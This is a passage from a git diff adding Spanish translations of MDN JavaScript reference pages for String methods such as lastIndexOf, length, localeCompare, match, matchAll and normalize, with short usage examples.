+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt><code>valorBusqueda</code></dt>
+ <dd>Una cadena que representa el valor que se desea buscar.</dd>
+</dl>
+
+<dl>
+ <dt><code>indiceDesde</code></dt>
+ <dd>La localización dentro de la cadena que realiza la llamada desde donde comenzará la búsqueda. Puede ser cualquier entero entre 0 y la longitud de la cadena. El valor predeterminado es la longitud de la cadena.</dd>
+</dl>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>Los caracteres de una cadena se indexan de izquierda a derecha. El índice del primer carácter es 0, y el índice del último carácter es <code>nombreCadena.length - 1</code>.</p>
+
+<pre class="brush: js">"canal".lastIndexOf("a")   // returns 3
+"canal".lastIndexOf("a",2) // returns 1
+"canal".lastIndexOf("a",0) // returns -1
+"canal".lastIndexOf("x")   // returns -1
+</pre>
+
+<p>El método <code>lastIndexOf</code> es sensible a mayúsculas. Por ejemplo, la siguiente expresión devuelve -1:</p>
+
+<pre class="brush: js">"Ballena Azul, Ballena Asesina".lastIndexOf("azul")
+</pre>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Usando_indexOf_y_lastIndexOf" name="Ejemplo:_Usando_indexOf_y_lastIndexOf">Ejemplo: Usando <code>indexOf</code> y <code>lastIndexOf</code></h3>
+
+<p>The following example uses <code>indexOf</code> and <code>lastIndexOf</code> to locate values in the string "<code>Brave new world</code>".</p>
+
+<pre class="brush: js">var anyString="Brave new world"
+
+// Displays 8
+document.write("&lt;P&gt;The index of the first w from the beginning is " +
+   anyString.indexOf("w"))
+// Displays 10
+document.write("&lt;P&gt;The index of the first w from the end is " +
+   anyString.lastIndexOf("w"))
+// Displays 6
+document.write("&lt;P&gt;The index of 'new' from the beginning is " +
+   anyString.indexOf("new"))
+// Displays 6
+document.write("&lt;P&gt;The index of 'new' from the end is " +
+   anyString.lastIndexOf("new"))
+</pre>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/length/index.html b/files/es/web/javascript/referencia/objetos_globales/string/length/index.html
new file mode 100644
index 0000000000..9401b8898a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/length/index.html
@@ -0,0 +1,94 @@
+---
+title: String.length
+slug: Web/JavaScript/Referencia/Objetos_globales/String/length
+tags:
+  - JavaScript
+  - Propiedad
+  - Prototipo
+  - Referencia
+  - String
+  - length
+translation_of: Web/JavaScript/Reference/Global_Objects/String/length
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad<strong> </strong><code><strong>length</strong></code> de un objeto {{jsxref("String")}} representa la longitud de una cadena, en unidades de código UTF-16.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><var>str</var>.length</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Esta propiedad devuelve el número de caracteres de una cadena. {{interwiki("wikipedia", "UTF-16")}}, el formato usado por JavaScript, usa 16-bit para representar los caracteres más comunes, pero necesita usar dos caracteres para otros menos usados, así que es posible que el valor devuelto por <code>length</code> no corresponda al número de caracteres de la cadena.</p>
+
+<p>ECMASCript 2016 (ed. 7) estableció una longitud máxima de <code>2^53 - 1</code> elementos. Anteriormente, ninguna longitud máxima era especificada. </p>
+
+<p>Para una cadena vacía, <code>length</code> es 0.</p>
+
+<p>La propiedad static <code>String.length</code> devuelve 1.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Uso_Básico">Uso Básico</h3>
+
+<pre class="brush: js notranslate">var x = 'Mozilla';
+var empty = '';
+
+console.log('Mozilla is ' + x.length + ' code units long');
+/* "Mozilla is 7 code units long" */
+
+console.log('The empty string has a length of ' + empty.length);
+/* "The empty string has a length of 0" */</pre>
+
+<h3 id="Asignando_a_length">Asignando a length</h3>
+
+<pre class="brush: js notranslate">var myString = "bluebells";
+
+// Attempting to assign a value to a string's .length property has no observable effect.
+myString.length = 4;
+console.log(myString);
+/* "bluebells" */
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Estándar</td>
+   <td>Primera definicíon. Implementado en JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.5.1', 'String.prototype.length')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-string-instances-length', 'String.prototype.length')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-string-instances-length', 'String.prototype.length')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("javascript.builtins.String.length")}}</p>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li><a class="external" href="http://developer.teradata.com/blog/jasonstrimpel/2011/11/javascript-string-length-and-internationalizing-web-applications">JavaScript String.length and Internationalizing Web Applications</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/link/index.html b/files/es/web/javascript/referencia/objetos_globales/string/link/index.html
new file mode 100644
index 0000000000..021c659f34
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/link/index.html
@@ -0,0 +1,56 @@
+---
+title: String.prototype.link()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/link
+tags:
+  - HTML wrapper methods
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/link
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>Crea un enlace de hipertexto HTML, {{HTMLElement("a")}}, que solicita otra URL.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>cadena</em>.link(<em>atributoHref</em>)</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt><code>atributoHref</code></dt>
+ <dd>Cualquier cadena que especifique el atributo {{htmlattrxref("href", "a")}} de la etiqueta {{HTMLElement("a")}}; debería ser una URL válida (relativa o absoluta).</dd>
+</dl>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>Usa el método <code>link</code> para crear un atajo HTML para un enlace de hipertexto. La cadena devuelta puede ser añadida al documento vía {{domxref("element.innerHTML")}}.</p>
+
+<p>Los enlaces creados con el método <code>link</code> serán elementos del array <code>links</code> del objeto <code>document</code>. Vea {{domxref("document.links")}}.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Usando_link" name="Ejemplo:_Usando_link">Ejemplo: Usando <code>link</code></h3>
+
+<p>El siguiente ejemplo muestra la palabra "Netscape" como un enlace de hipertexto que devuelve al usuario a la página inicial de Netscape:</p>
+
+<pre>var textoActivo="MDN"
+var URL="<code class="language-js"><span class="brush: js">https://developer.mozilla.org/</span></code>"
+
+console.log("Haga click para volver a " + textoActivo.link(URL))
+</pre>
+
+<p>Este ejemplo produce el mismo resultado que el siguiente código HTML:</p>
+
+<pre class="brush: html">Haga click para volver a &lt;a href="http://<code class="language-js"><span class="brush: js">developer.mozilla.org/</span></code>"&gt;MDN&lt;/a&gt;
+</pre>
+
+<h2 id="Vea_También">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.anchor()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/localecompare/index.html b/files/es/web/javascript/referencia/objetos_globales/string/localecompare/index.html
new file mode 100644
index 0000000000..2bda296c61
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/localecompare/index.html
@@ -0,0 +1,159 @@
+---
+title: String.prototype.localeCompare()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/localeCompare
+translation_of: Web/JavaScript/Reference/Global_Objects/String/localeCompare
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>localeCompare()</code></strong> devuelve un número que indica si la cadena de caracteres actual es anterior, posterior o igual a la cadena pasada como parámetro, en orden lexicográfico.</p>
+
+<p>Los nuevos argumentos <code>locales</code> y <code>options</code> permiten a las aplicaciones especificar el idioma y el orden de clasificación que debe usarse y personalizar el comportamiento de la función. En las implementaciones más antiguas, que ignoran los argumentos <code>locales</code> y <code>options</code>, la configuración <code>locale</code> y el orden de clasificación utilizados dependen enteramente de la implementación</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>referenceStr</var>.localeCompare(<var>compareString</var>[, <var>locales</var>[, <var>options</var>]])</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>Comprueba la sección <a href="#Compatibilidad_con_el_navegador">Compatibilidad con el navegador</a> para ver que navegadores soportan los argumentos <code>locales</code> y <code>options</code>, and the <a href="#Checking_for_support_for_locales_and_options_arguments">Checking for support for <code>locales</code> and <code>options</code> arguments</a> for feature detection.</p>
+
+<dl>
+ <dt><code>compareString</code></dt>
+ <dd>La cadena con la que queremos comparar la cadena actual de caracteres.</dd>
+</dl>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Collator', 'Parameters')}}</div>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un número <strong>negativo</strong> si la cadena de referencia ocurre antes de la cadena de comparación; <strong>positivo</strong> si la cadena de referencia ocurre después de la cadena de comparación; <strong>0</strong> si son equivalentes.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Returns an integer indicating whether the <strong>referenceStr</strong> comes before, after or is equivalent to the <strong>compareStr</strong>.</p>
+
+<ul>
+ <li>Negative when the <strong>referenceStr</strong> occurs before <strong>compareStr</strong></li>
+ <li>Positive when the <strong>referenceStr</strong> occurs after <strong>compareStr</strong></li>
+ <li>Returns 0 if they are equivalent</li>
+</ul>
+
+<p><strong>NO CONFIAR en que los valores devueltos sean siempre -1 o 1. </strong>Los resultados de enteros negativos y positivos varían entre los navegadores (así como entre diferentes versiones de un mismo navegador) porque la especificación W3C solo exige valores negativos y positivos. Algunos navegadores pueden devolver -2 o 2 o incluso algún otro valor negativo o positivo.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Uso_de_localeCompare()">Uso de <code>localeCompare()</code></h3>
+
+<pre class="brush: js">// La letra "a" es anterior a la "c" produciendo un valor negativo
+'a'.localeCompare('c'); // -2 o -1 (u otro valor negativo)
+
+// Alfabeticamente la palabra "check" viene después de "against" produciendo un valor ppositivo
+'check'.localeCompare('against'); // 2 o 1 (u otro valor positivo)
+
+// "a" y "a" son equivalentes produciendo un valor neutro de 0
+'a'.localeCompare('a'); // 0
+</pre>
+
+<h3 id="Ordenar_un_array">Ordenar un array</h3>
+
+<p><code>localeCompare</code> enables a case-insensitive sort of an array.</p>
+
+<pre class="brush: js">var items = ['réservé', 'premier', 'cliché', 'communiqué', 'café', 'adieu'];
+items.sort((a, b) =&gt; a.localeCompare(b)); // ['adieu', 'café', 'cliché', 'communiqué', 'premier', 'réservé']
+</pre>
+
+<h3 id="Verificar_si_el_navegador_soporta_argumentos_extendidos">Verificar si el navegador soporta argumentos extendidos</h3>
+
+<p>The <code>locales</code> and <code>options</code> arguments are not supported in all browsers yet. To check whether an implementation supports them, use the "i" argument (a requirement that illegal language tags are rejected) and look for a {{jsxref("RangeError")}} exception:</p>
+
+<pre class="brush: js">function localeCompareSupportsLocales() {
+  try {
+    'foo'.localeCompare('bar', 'i');
+  } catch (e) {
+    return e.name === 'RangeError';
+  }
+  return false;
+}
+</pre>
+
+<h3 id="Uso_de_locales">Uso de <code>locales</code></h3>
+
+<p>The results provided by <code>localeCompare()</code> vary between languages. In order to get the sort order of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the <code>locales</code> argument:</p>
+
+<pre class="brush: js">console.log('ä'.localeCompare('z', 'de')); // a negative value: in German, ä sorts before z
+console.log('ä'.localeCompare('z', 'sv')); // a positive value: in Swedish, ä sorts after z
+</pre>
+
+<h3 id="Uso_de_options">Uso de <code>options</code></h3>
+
+<p>The results provided by <code>localeCompare()</code> can be customized using the <code>options</code> argument:</p>
+
+<pre class="brush: js">// in German, ä has a as the base letter
+console.log('ä'.localeCompare('a', 'de', { sensitivity: 'base' })); // 0
+
+// in Swedish, ä and a are separate base letters
+console.log('ä'.localeCompare('a', 'sv', { sensitivity: 'base' })); // a positive value
+</pre>
+
+<h2 id="Performance">Performance</h2>
+
+<p>When comparing large numbers of strings, such as in sorting large arrays, it is better to create an {{jsxref("Global_Objects/Collator", "Intl.Collator")}} object and use the function provided by its {{jsxref("Collator.prototype.compare", "compare")}} property.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.9', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.localecompare', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.localecompare', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-13.1.1', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Definiciones de los parámetros <code>locale</code> y <code>option</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-13.1.1', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-String.prototype.localeCompare', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_el_navegador">Compatibilidad con el navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.localeCompare")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Collator", "Intl.Collator")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/match/index.html b/files/es/web/javascript/referencia/objetos_globales/string/match/index.html
new file mode 100644
index 0000000000..6403dbaf06
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/match/index.html
@@ -0,0 +1,78 @@
+---
+title: String.prototype.match()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/match
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - RegExp
+  - Regular Expressions
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/match
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>El método <strong><code>match()</code></strong> se usa para obtener todas las ocurrencias de una <em>expresión regular</em> dentro de una <em>cadena</em>.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>cadena</em>.match(<em>regexp</em>)</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt><code>regexp</code></dt>
+ <dd>Un objeto <a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/RegExp"> expresión regular</a>. Si se pasa un objeto <code>obj</code> que no es expresión regular, se convierte implícitamente a RegExp usando <code>new RegExp(obj)</code>.</dd>
+</dl>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>Si la expresión regular no incluye el flag <code>g</code>, devuelve el mismo resultado que {{jsxref("Regexp.exec()")}}.</p>
+
+<p>Si la expresión regular incluye el flag <code>g</code>, el método devuelve un {{jsxref("Array")}} que contiene todos los emparejamientos.</p>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<ul>
+ <li>Si necesita conocer si una cadena se empareja con una expresión regular <code>regexp</code>, use {{jsxref("Regexp.test()")}}.</li>
+ <li>Si sólo quiere el primer emparejamiento hallado, podría querer usar {{jsxref("Regexp.exec()")}} a cambio.</li>
+</ul>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Usando_match" name="Ejemplo:_Usando_match">Ejemplo: Usando <code>match</code></h3>
+
+<p>En el siguiente ejemplo, se usa <code>match</code> para hallar "<code>Capítulo</code>" seguido de 1 o más caracteres numéricos seguidos de un punto decimal y caracteres numéricos cero o más veces. La expresión regular incluye el flag <code>i</code> por lo que las mayúsculas serán ignoradas.</p>
+
+<pre class="brush: js">cadena = "Para más información, vea Capítulo 3.4.5.1";
+expresion = /(capítulo \d+(\.\d)*)/i;
+hallado = cadena.match(expresion);
+console.log(hallado);
+</pre>
+
+<p>Esto devuelve un array que contiene Capítulo 3.4.5.1,Capítulo 3.4.5.1,.1</p>
+
+<p>"<code>Capítulo 3.4.5.1</code>" es el primer emparejamiento y el primer valor referenciado por <code>(Chapter \d+(\.\d)*)</code>.</p>
+
+<p>"<code>.1</code>" es el segundo valor referenciado por <code>(\.\d)</code>.</p>
+
+<h3 id="Ejemplo:_Usando_los_flags_global_e_ignorar_may.C3.BAsculas_con_match" name="Ejemplo:_Usando_los_flags_global_e_ignorar_may.C3.BAsculas_con_match">Ejemplo: Usando los flags global e ignorar mayúsculas con <code>match</code></h3>
+
+<p>El siguiente ejemplo demuestra el uso de los flags global e ignorar mayúsculas con <code>match</code>. Todas las letras de A hasta E y de a hasta e son devueltas, en su propio elemento dentro del array.</p>
+
+<pre class="brush: js">var cadena = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
+var expresion = /[A-E]/gi;
+var array_emparejamientos = cadena.match(expresion);
+console.log(array_emparejamientos);
+</pre>
+
+<p><code>array_emparejamientos</code> será <code>{{ mediawiki.external('\'A\', \'B\', \'C\', \'D\', \'E\', \'a\', \'b\', \'c\', \'d\', \'e\'') }}</code></p>
+
+<h2 id="Vea_También">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/matchall/index.html b/files/es/web/javascript/referencia/objetos_globales/string/matchall/index.html
new file mode 100644
index 0000000000..a536720dbd
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/matchall/index.html
@@ -0,0 +1,134 @@
+---
+title: String.prototype.matchAll()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/matchAll
+tags:
+  - Cadena
+  - Expresiones Regulares
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/String/matchAll
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>matchAll()</code></strong> retorna un iterador de todos los resultados de ocurrencia en una <em>cadena de texto</em> contra una expresión regular, incluyendo grupos de captura.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-matchall.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>cadena</var>.matchAll(<var>expresionRegular</var>)</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><var>expresionRegular</var></dt>
+ <dd>Un objeto expresión regular. Si se pasa un objeto no-RegExp <code>obj</code>, este es implícitamente convertido a {{jsxref("RegExp")}} vía <code>new RegExp(obj)</code>.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un <a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">iterador</a> (el cual no es reiniciable).</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Regexp.exec()_y_matchAll()">Regexp.exec() y matchAll()</h3>
+
+<p>Antes de la adición de  <code>matchAll</code> a JavaScript, fue posible hacer llamados a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec">regexp.exec</a> (y usar expresiones regulares con la bandera <code>/g</code>) en un ciclo para obtener las ocurrencias:</p>
+
+<pre class="brush: js">const regexp = RegExp('foo[a-z]*','g');
+const cadena = 'mesa football, foosball';
+let ocurrencia;
+
+while ((ocurrencia = regexp.exec(cadena)) !== null) {
+  console.log(`Encontrado ${ocurrencia[0]} inicio=${ocurrencia.index} final=${regexp.lastIndex}.`);
+  // salida esperada: "Encontrado football inicio=5 final=13."
+  // salida esperada: "Encontrado foosball inicio=15 final=23."
+}</pre>
+
+<p>Con <code>matchAll</code> disponible, puedes evitar el ciclo <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/while">while</a></code> y <code>exec</code> con <code>/g</code>. Por el contrario, usando <code>matchAll</code>, obtienes un iterador con el cual puedes usar con constructores más convenientes  <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code>, <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax">array spread</a>, o {{jsxref("Array.from()")}}:</p>
+
+<pre class="brush: js">const regexp = RegExp('foo[a-z]*','g');
+const cadena = 'mesa football, foosball';
+const ocurrencias = cadena.matchAll(regexp);
+
+for (const ocurrencia of ocurrencias) {
+  console.log(`Encontrado ${ocurrencia[0]} inicio=${ocurrencia.index} final=${ocurrencia.index + ocurrencia[0].length}.`);
+}
+// salida esperada: "Encontrado football start=5 end=13."
+// salida esperada: "Encontrado foosball start=15 end=23."
+
+// el iterador ocurrencias es agotado después de la iteración for..of
+// Llama matchAll de nuevo para crear un nuevo iterador
+Array.from(cadena.matchAll(regexp), m =&gt; m[0]);
+// Array [ "football", "foosball" ]</pre>
+
+<p><code>matchAll</code> solo devuelve la primer ocurrencia si la bandera <code>/g</code> está ausente.</p>
+
+<pre class="brush: js">const regexp = RegExp('[a-c]','');
+const cadena = 'abc';
+Array.from(cadena.matchAll(regexp), m =&gt; m[0]);
+// Array [ "a" ]
+</pre>
+
+<p><code>matchAll</code> internamente hace un clon de la expresión regular, entonces a diferencia de <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec">regexp.exec</a>,  <code>lastIndex</code> no cambia a medida que la cadena es escaneada.</p>
+
+<pre class="brush: js">const regexp = RegExp('[a-c]','g');
+regexp.lastIndex = 1;
+const cadena = 'abc';
+Array.from(cadena.matchAll(regexp), m =&gt; `${regexp.lastIndex} ${m[0]}`);
+// Array [ "1 b", "1 c" ]</pre>
+
+<h3 id="Mejor_acceso_para_capturar_grupos">Mejor acceso para capturar grupos</h3>
+
+<p>Otra buena razón para <code>matchAll</code> es el mejorado acceso a los grupos de captura. Los grupos de captura son ignorados cuando se usa <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match">match()</a></code> con la bandera global <code>/g</code>:</p>
+
+<pre class="brush: js">var regexp = /t(e)(st(\d?))/g;
+var cadena = 'test1test2';
+
+cadena.match(regexp);
+// Array ['test1', 'test2']</pre>
+
+<p>Con <code>matchAll</code> puedes acceder a ellos:</p>
+
+<pre class="brush: js">let array = [...str.matchAll(regexp)];
+
+array[0];
+// ['test1', 'e', 'st1', '1', index: 0, input: 'test1test2', length: 4]
+array[1];
+// ['test2', 'e', 'st2', '2', index: 5, input: 'test1test2', length: 4]
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.matchall', 'String.prototype.matchAll')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.matchAll")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/normalize/index.html b/files/es/web/javascript/referencia/objetos_globales/string/normalize/index.html
new file mode 100644
index 0000000000..2794644f1c
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/normalize/index.html
@@ -0,0 +1,126 @@
+---
+title: String.prototype.normalize()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/normalize
+tags:
+  - Cadena
+  - ECMAScript 2015
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - String
+  - Unicode
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/String/normalize
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>normalize()</code></strong> retorna la Forma de Normalización Unicode de la cadena dada (si el valor no es una cadena, primero será convertido a ese tipo).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.normalize([<var>form</var>])</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>form</code></dt>
+ <dd>Uno de<code>"NFC"</code>, <code>"NFD"</code>, <code>"NFKC"</code>, o <code>"NFKD"</code>, especificando la Forma de Normalización Unicode. Si es omitida o {{jsxref("undefined")}}, se utiliza <code>"NFC"</code>.
+ <ul>
+  <li><code>NFC</code> — Forma de Normalización de Composición Canónica.</li>
+  <li><code>NFD</code> — Forma de Normalización de Descomposición Canónica.</li>
+  <li><code>NFKC</code> — Forma de Normalización de Composición de Compatibilidad.</li>
+  <li><code>NFKD</code> — Forma de Normalización de Descomposición de Compatibilidad.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Una cadena que contiene la Forma de Normalización Unicode de la cadena dada.</p>
+
+<h3 id="Errores_lanzados">Errores lanzados</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Un error {{jsxref("RangeError")}} es lanzado si <code>form</code> no es uno de los valores especificados arriba.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>normalize()</code> retorna la Forma de Normalización Unicode de una cadena. No afecta el valor de la cadena en sí misma.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Uso_de_normalize()">Uso de <code>normalize()</code></h3>
+
+<pre class="brush: js">// Cadena inicial
+
+// U+1E9B: LETRA S LATINA MINÚSCULA CON PUNTO ARRIBA
+// U+0323: COMBINACIÓN CON PUNTO ABAJO
+var str = '\u1E9B\u0323';
+
+
+// Forma compuesta canónicamente (NFC)
+
+// U+1E9B: LETRA S LATINA MINÚSCULA CON PUNTO ARRIBA
+// U+0323: COMBINACIÓN CON PUNTO ABAJO
+str.normalize('NFC'); // '\u1E9B\u0323'
+str.normalize();      // lo mismo que arriba
+
+
+// Forma canónicamente descompuesta (NFD)
+
+// U+017F: LETRA S LATINA MINÚSCULA
+// U+0323: COMBINACIÓN CON PUNTO ABAJO
+// U+0307: COMBINACIÓN CON PUNTO ARRIBA
+str.normalize('NFD'); // '\u017F\u0323\u0307'
+
+
+// Compuesta con compatibilidad (NFKC)
+
+// U+1E69: LETRA S LATINA MINÚSCULA CON PUNTO ARRIBA Y ABAJO
+str.normalize('NFKC'); // '\u1E69'
+
+
+// Descompuesta con compatibilidad (NFKD)
+
+// U+0073: LETRA S LATINA MINÚSCULA
+// U+0323: COMBINACIÓN CON PUNTO ABAJO
+// U+0307: COMBINACIÓN CON PUNTO ARRIBA
+str.normalize('NFKD'); // '\u0073\u0323\u0307'
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
